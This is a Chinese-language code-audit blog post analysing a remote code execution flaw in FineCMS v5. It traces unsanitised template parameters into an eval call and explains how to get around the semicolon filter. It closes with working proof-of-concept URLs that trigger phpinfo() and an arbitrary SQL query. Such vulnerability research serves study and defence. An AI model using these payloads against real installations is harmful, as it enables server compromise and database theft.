Finecms远程代码执行漏洞分析

作者: Luan 分类: 代码审计 发布时间: 2018-03-30 19:05

这是去年闲的时候审计的,现在Finecms已经没人维护了,也没什么人用了。

/Users/luan/Downloads/123123/v5/finecms/dayrui/controllers/Api.php

    /**
     * ajax 动态调用
     */
    public function html() {

        ob_start();
        $this->template->cron = 0;
        $_GET['page'] = max(1, (int)$this->input->get('page'));
        $params = dr_string2array(urldecode($this->input->get('params')));
        $params['get'] = @json_decode(urldecode($this->input->get('get')), TRUE);
        $this->template->assign($params);
        $name = str_replace(array('\\', '/', '..', '<', '>'), '', dr_safe_replace($this->input->get('name', TRUE)));
        $this->template->display(strpos($name, '.html') ? $name : $name.'.html');
        $html = ob_get_contents();
        ob_clean();

        // 页面输出
        $format = $this->input->get('format');
        if ($format == 'html') {
            exit($html);
        } elseif ($format == 'json') {
            echo $this->callback_json(array('html' => $html));
        } elseif ($format == 'js') {
            echo 'document.write("'.addslashes(str_replace(array("\r", "\n", "\t", chr(13)), array('', '', '', ''), $html)).'");';
        } else {
            $data = $this->callback_json(array('html' => $html));
            echo dr_safe_replace(dr_safe_replace($this->input->get('callback', TRUE))).'('.$data.')';
        }
    }

第50行$this->template->assign($params);

/Users/luan/Downloads/123123/v5/finecms/dayrui/libraries/Template.php

    /**
     * 设置模板变量
     */
    public function assign($key, $value = NULL) {

        if (!$key) {
            return FALSE;
        }

        if (is_array($key)) {
            foreach ($key as $k => $v) {
                $this->_options[$k] = $v;
            }
        } else {
            $this->_options[$key] = $value;
        }
    }

把用户输入的变量都保存在_options数组中。
第54行$this->template->display(strpos($name, ‘.html’) ? $name : $name.’.html’);

    /**
     * 输出模板
     *
     * @param	string	$_name		模板文件名称(含扩展名)
     * @param	string	$_dir		模型名称
     * @return  void
     */
    public function display($_name, $_dir = NULL) {

        // 处理变量
        $this->_options['ci'] = $this->ci;
        extract($this->_options, EXTR_PREFIX_SAME, 'data');
        $this->_options = NULL;
        $this->_filename = $_name;

        // 加载编译后的缓存文件
        $xxxfile = $this->get_file_name($_name, $_dir);
        if (defined('SYS_DEBUG') && SYS_DEBUG) {
            echo "<!--当前页面的模板文件是:$xxxfile (本代码只在调试模式下显示)-->".PHP_EOL;
        }
        include $this->load_view_file($xxxfile);

        // 消毁变量
        $this->_include_file = NULL;
    }

注册了用户输入的变量。如果有变量没有初始化,就能利用,不能覆盖变量。
然后跟入load_view_file再到handle_view_file解析模板文件方法。

    /**
     * 解析模板文件
     *
     * @param	string
     * @param	string
     * @return  string
     */
    public function handle_view_file($view_content) {

        if (!$view_content) {
            return '';
        }

        // 正则表达式匹配的模板标签
        $regex_array = array(
            // 站点缓存数据变量
            '#{([A-Z\-]+)\.(.+)}#U',
            // 3维数组变量
            '#{\$(\w+?)\.(\w+?)\.(\w+?)\.(\w+?)}#i',
            // 2维数组变量
            '#{\$(\w+?)\.(\w+?)\.(\w+?)}#i',
            // 1维数组变量
            '#{\$(\w+?)\.(\w+?)}#i',
            // 3维数组变量
            '#\$(\w+?)\.(\w+?)\.(\w+?)\.(\w+?)#Ui',
            // 2维数组变量
            '#\$(\w+?)\.(\w+?)\.(\w+?)#Ui',
            // 1维数组变量
            '#\$(\w+?)\.(\w+?)#Ui',
            // PHP函数
            '#{([a-z_0-9]+)\((.*)\)}#Ui',
            // PHP常量
            '#{([A-Z_]+)}#',
            // PHP变量
            '#{\$(.+?)}#i',
            // 引入模板
            '#{\s*template\s+"([\$\-_\/\w\.]+)",\s*"(.+)"\s*}#Uis',
            '#{\s*template\s+"([\$\-_\/\w\.]+)",\s*MOD_DIR\s*}#Uis',
            '#{\s*template\s+"([\$\-_\/\w\.]+)"\s*}#Uis',
            '#{\s*template\s+([\$\-_\/\w\.]+)\s*}#Uis',
            // 加载指定文件到模板
            '#{\s*load\s+"([\$\-_\/\w\.]+)"\s*}#Uis',
            '#{\s*load\s+([\$\-_\/\w\.]+)\s*}#Uis',
            // php标签
            '#{php\s+(.+?)}#is',
            // list标签
            '#{list\s+(.+?)return=(.+?)\s?}#i',
            '#{list\s+(.+?)\s?}#i',
            '#{\s?\/list\s?}#i',
            // if判断语句
            '#{\s?if\s+(.+?)\s?}#i',
            '#{\s?else\sif\s+(.+?)\s?}#i',
            '#{\s?else\s?}#i',
            '#{\s?\/if\s?}#i',
            // 循环语句
            '#{\s?loop\s+\$(.+?)\s+\$(\w+?)\s?\$(\w+?)\s?}#i',
            '#{\s?loop\s+\$(.+?)\s+\$(\w+?)\s?}#i',
            '#{\s?loop\s+\$(.+?)\s+\$(\w+?)\s?=>\s?\$(\w+?)\s?}#i',
            '#{\s?\/loop\s?}#i',
            // 结束标记
            '#{\s?php\s?}#i',
            '#{\s?\/php\s?}#i',
            '#\?\>\s*\<\?php\s#s',
        );

        // 替换直接变量输出
        $replace_array = array(
            "<?php \$cache = \$this->_cache_var('\\1'); @eval('echo \$cache'.\$this->_get_var('\\2').';');unset(\$cache); ?>",
            "<?php echo \$\\1['\\2']['\\3']['\\4']; ?>",
            "<?php echo \$\\1['\\2']['\\3']; ?>",
            "<?php echo \$\\1['\\2']; ?>",
            "\$\\1['\\2']['\\3']['\\4']",
            "\$\\1['\\2']['\\3']",
            "\$\\1['\\2']",
            "<?php echo \\1(\\2); ?>",
            "<?php echo \\1; ?>",
            "<?php echo \$\\1; ?>",
            "<?php if (\$fn_include = \$this->_include(\"\\1\", \"\\2\")) include(\$fn_include); ?>",
            "<?php if (\$fn_include = \$this->_include(\"\\1\", \"MOD_DIR\")) include(\$fn_include); ?>",
            "<?php if (\$fn_include = \$this->_include(\"\\1\")) include(\$fn_include); ?>",
            "<?php if (\$fn_include = \$this->_include(\"\\1\")) include(\$fn_include); ?>",
            "<?php if (\$fn_include = \$this->_load(\"\\1\")) include(\$fn_include); ?>",
            "<?php if (\$fn_include = \$this->_load(\"\\1\")) include(\$fn_include); ?>",
            "<?php \\1 ?>",
            "<?php \$rt_\\2 = \$this->list_tag(\"\\1 return=\\2\"); if (\$rt_\\2) extract(\$rt_\\2); \$count_\\2=count(\$return_\\2); if (is_array(\$return_\\2)) { foreach (\$return_\\2 as \$key_\\2=>\$\\2) { ?>",
            "<?php \$rt = \$this->list_tag(\"\\1\"); if (\$rt) extract(\$rt); \$count=count(\$return); if (is_array(\$return)) { foreach (\$return as \$key=>\$t) { ?>",
            "<?php } } ?>",
            "<?php if (\\1) { ?>",
            "<?php } else if (\\1) { ?>",
            "<?php } else { ?>",
            "<?php } ?>",
            "<?php if (is_array(\$\\1)) { \$count=count(\$\\1);foreach (\$\\1 as \$\\2=>\$\\3) { ?>",
            "<?php if (is_array(\$\\1)) { \$count=count(\$\\1);foreach (\$\\1 as \$\\2) { ?>",
            "<?php if (is_array(\$\\1)) { \$count=count(\$\\1);foreach (\$\\1 as \$\\2=>\$\\3) { ?>",
            "<?php } } ?>",
            "<?php ",
            " ?>",
            " ",
        );

        $view_content = preg_replace($regex_array, $replace_array, $view_content);

        // 兼容php5.5
        $view_content = preg_replace_callback("/_get_var\('(.*)'\)/Ui", 'php55_replace_cache_array', $view_content);
        $view_content = preg_replace_callback("/list_tag\(\"(.*)\"\)/Ui", 'php55_replace_array', $view_content);

        return $view_content;
    }

通过模板标签与对应php代码的关系数组,得知:
list标签对应list_tag方法。

        // list 标签解析
        public function list_tag($_params) {
     
            if (!$this->ci) {
                return NULL;
            }
     
            $system = array(
                'oot' => '', // 过期商品
                'num' => '', // 显示数量
                'form' => '', // 表单
                'page' => '', // 是否分页
                'site' => '', // 站点id
                'flag' => '', // 推荐位id
                'more' => '', // 是否显示栏目附加表
                'catid' => '', // 栏目id,支持多id
                'field' => '', // 显示字段
                'order' => '', // 排序
                'space' => '', // 空间uid
                'table' => '', // 表名变量
                'join' => '', // 关联表名
                'on' => '', // 关联表条件
                'cache' => (int)SYS_CACHE_LIST, // 默认缓存时间
                'action' => '', // 动作标识
                'return' => '', // 返回变量
                'sbpage' => '', // 不按默认分页
                'module' => '', // 模型名称
                'modelid' => defined('MOD_DIR') ? MOD_DIR : '', // 模型id
                'keyword' => '', // 关键字
                'urlrule' => '', // 自定义分页规则
                'pagesize' => '', // 自定义分页数量
            );
            $param = $where = array();
            $params = explode(' ', $_params);
            $sysadj = array('IN', 'BEWTEEN', 'BETWEEN', 'LIKE', 'NOTIN', 'NOT', 'BW');
            foreach ($params as $t) {
                $var = substr($t, 0, strpos($t, '='));
                $val = substr($t, strpos($t, '=') + 1);
                if (!$var) {
                    continue;
                }
                $val = defined($val) ? constant($val) : $val;
                if ($var == 'fid' && !$val) {
                    continue;
                }
                if (isset($system[$var])) { // 系统参数,只能出现一次,不能添加修饰符
                    $system[$var] = $val;
                } else {
                    if (preg_match('/^([A-Z_]+)(.+)/', $var, $match)) { // 筛选修饰符参数
                        $_pre = explode('_', $match[1]);
                        $_adj = '';
                        foreach ($_pre as $p) {
                            in_array($p, $sysadj) && $_adj = $p;
                        }
                        $where[] = array(
                            'adj' => $_adj,
                            'name' => $match[2],
                            'value' => $val
                        );
                    } else {
                        $where[] = array(
                            'adj' => '',
                            'name' => $var,
                            'value' => $val
                        );
                    }
                    $param[$var] = $val; // 用于特殊action
                }
            }
     
            // 替换order中的非法字符
            isset($system['order']) && $system['order'] && $system['order'] = str_ireplace(
                array('"', "'", ')', '(', ';', 'select', 'insert'),
                '',
                $system['order']
            );
     
            $action = $system['action'];
            // 当hits动作时,定位到moule动作
            $system['action'] == 'hits' && $system['action'] = 'module';
            $system['site'] = intval(!$system['site'] ? SITE_ID : $system['site']);
            $system['module'] = (string)$system['module'];
     
            // action
            switch ($system['action']) {
     
                case 'cache': // 系统缓存数据
     
                    if (!isset($param['name'])) {
                        return $this->_return($system['return'], 'name参数不存在');
                    }
     
                    $pos = strpos($param['name'], '.');
                    if ($pos !== FALSE) {
                        $_name = substr($param['name'], 0, $pos);
                        $_param = substr($param['name'], $pos + 1);
                    } else {
                        $_name = $param['name'];
                        $_param = NULL;
                    }
     
                    $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
                    if (!$cache) {
                        return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
                    }
     
                    if ($_param) {
                        $data = array();
                        @eval('$data=$cache'.$this->_get_var($_param).';');
                        if (!$data) {
                            return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
                        }
                    } else {
                        $data = $cache;
                    }
     
                    return $this->_return($system['return'], $data, '');
                    break;
                case 'sql': // 直接sql查询
                    。。。太多了。。。


                default :
                    return $this->_return($system['return'], 'list标签必须含有参数action或者action参数错误');
                    break;
            }
        }

list_tag函数存在代码执行,之前有另一个更明显的触发点,厂商的布丁除了去掉 那个触发点的代码外,再就是在eval前做了过滤。

    public function _get_var($param) {

        $array = explode('.', $param);
        if (!$array) {
            return '';
        }

        $string = '';
        foreach ($array as $var) {
            $var = dr_safe_replace($var);
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

/Users/luan/Downloads/123123/v5/finecms/dayrui/helpers/function_helper.php

/**
 * 安全过滤函数
 *
 * @param $string
 * @return string
 */
function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '&quot;', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '&lt;', $string);
    $string = str_replace('>', '&gt;', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

过 滤了分号导致之前的payload不能直接用,改成使用&来连接两句Php代码就OK了。
然后通过搜索list标签来找个模板文件:
/Users/luan/Downloads/123123/v5/templates/pc/default/common/search.html

                    <div class="blog-main-left">
                        <!--分页显示列表数据-->
                        {list action=sql module=$mid sql='$search_sql' page=1 pagesize=10 urlrule=$urlrule}
                        <div class="article shadow">
                            {if !IS_MOBILE}
                            <div class="article-left">
                                <img src="{dr_thumb($t.thumb)}" style="width: 150px" />
                            </div>

Poc:
http://localhost/index.php?c=Api&m=html&name=search&format=html&params={“search_sql”:” action=cache name=block.L]=phpinfo()&$cache[L”}

同理list_tag方法还有SQL执行:
http://localhost/index.php?c=Api&m=html&name=search&format=html&params={“search_sql”:”select user() as title”}

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!